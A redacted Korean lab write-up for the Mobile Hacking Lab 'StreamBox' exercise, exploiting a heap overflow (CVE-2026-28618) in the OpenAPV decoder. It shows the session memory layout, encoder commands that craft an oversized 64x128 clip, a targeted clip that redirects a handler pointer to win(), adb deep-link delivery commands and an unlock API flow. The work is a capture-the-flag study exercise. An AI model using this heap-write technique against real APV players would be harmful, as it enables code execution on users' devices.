
CVE-2026-28618 / StreamBox APV 랩 관련 편집된 노트 — FRAME 높이 불일치를 통한 세션 객체로의 힙 쓰기
StreamBox의 CVE-2026-28618 — CVE-2026-0006과 동일한 OpenAPV 디코더 클래스로, 세션 객체를 대상으로 한 힙 쓰기로 전환된 취약점입니다.
이 저장소는 공개된 편집(redacted) 분석 문서입니다: 플래그, 인스턴스 토큰, HMAC 키는 생략되어 있습니다. APK와 make_clip.py는 Mobile Hacking Lab의 소유이며, 여기에 미러링되어 있지 않습니다.

StreamBox는 작은 APV 플레이어입니다. APV는 Advanced Professional Video(RFC 9924)로, 삼성의 로열티 없는 코덱이며 Android 미디어 스택에 탑재된 것과 같은 계열입니다. 이 랩의 핵심은 한 문장입니다: 플레이어는 공유된 클립이 도착하면 재생합니다.
SEND, VIEW, 또는 streambox://play?url=…는 파일을 files/incoming.apv로 복사하고 NativeDec.loadClip()을 실행합니다.
버그는 CVE-2026-28618입니다: OpenAPV의 dec_frm_prepare에 있는 힙 버퍼 오버플로입니다. CVE-2026-0006과 동일한 디코더 클래스입니다.
랩은 이 쓰기를 게임으로 포장합니다. 하드코딩된 64×64 Y 평면을 오버플로하고, 인접한 세션 객체를 덮어쓰고, teardown을 handlers[2]로 리다이렉트하면 Worker가 플래그를 돌려줍니다.
키트는 랩에서 제공하는 두 개의 zip입니다:
streambox-lab.apk.zip — 플레이어make_clip.py.zip — 64×64 라이브러리 클립이 어떻게 만들어졌는지, 그리고 오버플로하는 비트스트림Android Studio의 ARM64 시스템 이미지 QEMU는 x86-64 호스트에서 적합하지 않습니다. 이 APK는 arm64-v8a / minSdk 34입니다. libndk_translation.so(abilist=x86_64,arm64-v8a)가 포함된 x86_64 API 34 AVD에서 설치 및 실행됩니다.


PlayerActivity가 하는 일:
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path); // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity
loadClip은 1(프리미엄 / 세션 스매시) 또는 2(win()이 이미 실행됨)를 반환합니다. openTier는 UI만 탐색합니다.
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
부팅 시 앱은 이미 POST /api/instance와 NativeDec.setPlatinumToken(token)을 수행했습니다. 이 토큰이 바로 오버플로가 세션에 기록해야 하는 값입니다.

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
oapv_imgb_t는 64×64, 10비트 YUV로 하드코딩되어 있습니다. 평면 0(Y)은 arena+0에서 시작합니다. 64 × 64 × 2 = 0x2000입니다. 세션은 arena + 0x2000 + pad입니다. pad는 SB_SESS_PAD이거나 srand(getpid()^time()) 이후 rand()의 0x400 정렬 니블입니다. AVD에서 Sunset Drive는 session-arena = 0x3800(pad = 0x1800)을 기록했습니다. 64×128 추가 타일은 0x2000바이트이므로, 해당 pad 값들에 대해서도 여전히 세션에 도달합니다.
oapvd_decode()는 FRAME PBU 너비/높이에 기록합니다. 64보다 높은 FRAME은 10비트 샘플을 session에 직접 기록합니다.
디코드 후:
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

랩의 생성기는 64×64 RGB의 32개 프레임을 그린 뒤 yuv422p10le로 변환하고, OpenAPV 참조 인코더를 셸을 통해 호출합니다:
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
모든 번들 클립은 FRAME 64×64의 32개 액세스 유닛입니다:
[u32be au_size] ['aPv1' + PBUs] × 32
플레이어는 64×64를 할당한다. APV 타일은 64×64이다.
qemu-user(qemu-aarch64 + Android 10 linker64)와 AVD가 일치한다:
| 클립 | qemu-user streambox_load | AVD loadClip |
|---|---|---|
| 64×64 라이브러리 클립 | 0 | 0 (premium_hit=0) |
| 헤더 높이 64→72 | SIGABRT oapvd_vlc_ac_coef | SIGABRT, 동일한 assert, 프로세스 종료 (크래시 후 홈) |
| 실제 64×128 인코딩 (타일 2개, QP 0) | 1 | 1 premium_hit=1 → SESSION ANOMALY |
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
-n com.mobilehackinglab.streambox/.MainActivity

두 번째 인코딩은 인코더 재구성에 대해 폐쇄 루프로 동작하며, 활성 access token과 핸들러 2를 심습니다(입력 Y≈4는 2로 재구성됨). 해당 16바이트 접두사를 64×128 Y 평면 전체에 반복하여 패드가 영향을 미치지 않도록 합니다.
# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
-n com.mobilehackinglab.streambox/.MainActivity
AVD에서:
gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

win()은 loadClip 내부에서 실행되었다. openTier(2)는 PremiumActivity만 열었고, 이것이 해당 증명을 POST했다.
qemu-user 설정(Android Studio의 ARM64 에뮬레이터가 아님): encode_overflow.py의 주석과 랩의 qemu-harness/README.md를 참조하라.
상위 버그 클래스에 대한 관련 공개 PoC: mobilehackinglab/CVE-2026-0006-openapv-poc.
Python urllib는 Cloudflare 1010을 받는다. 모바일 UA를 사용한 curl은 작동한다.
Worker는 원본 매직을 no overflow evidence: session magic intact와 함께 거부한다. ASCII STREAMBO(LE uint64와는 다른 바이트)는 쓰기로 간주된다.

# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py
상태 2에 대한 PremiumActivity는 세션 탈취 UI입니다. 상태 1은 SESSION ANOMALY(위의 기기 스크린샷)입니다. screenshots/06-session-compromised.png의 금색 "SESSION COMPROMISED" 프레임은 해당 UI를 나타낸 HTML 일러스트이며 AVD 캡처가 아닙니다.
dec_frm_prepare의 차원 검증Mobile Hacking Lab의 StreamBox 실습을 위한 승인된 랩 노트입니다. APK, 실제 토큰, 플래그는 없습니다. 소유하지 않았거나 테스트 권한이 없는 대상에 대해 이 프리미티브를 실행하지 마십시오.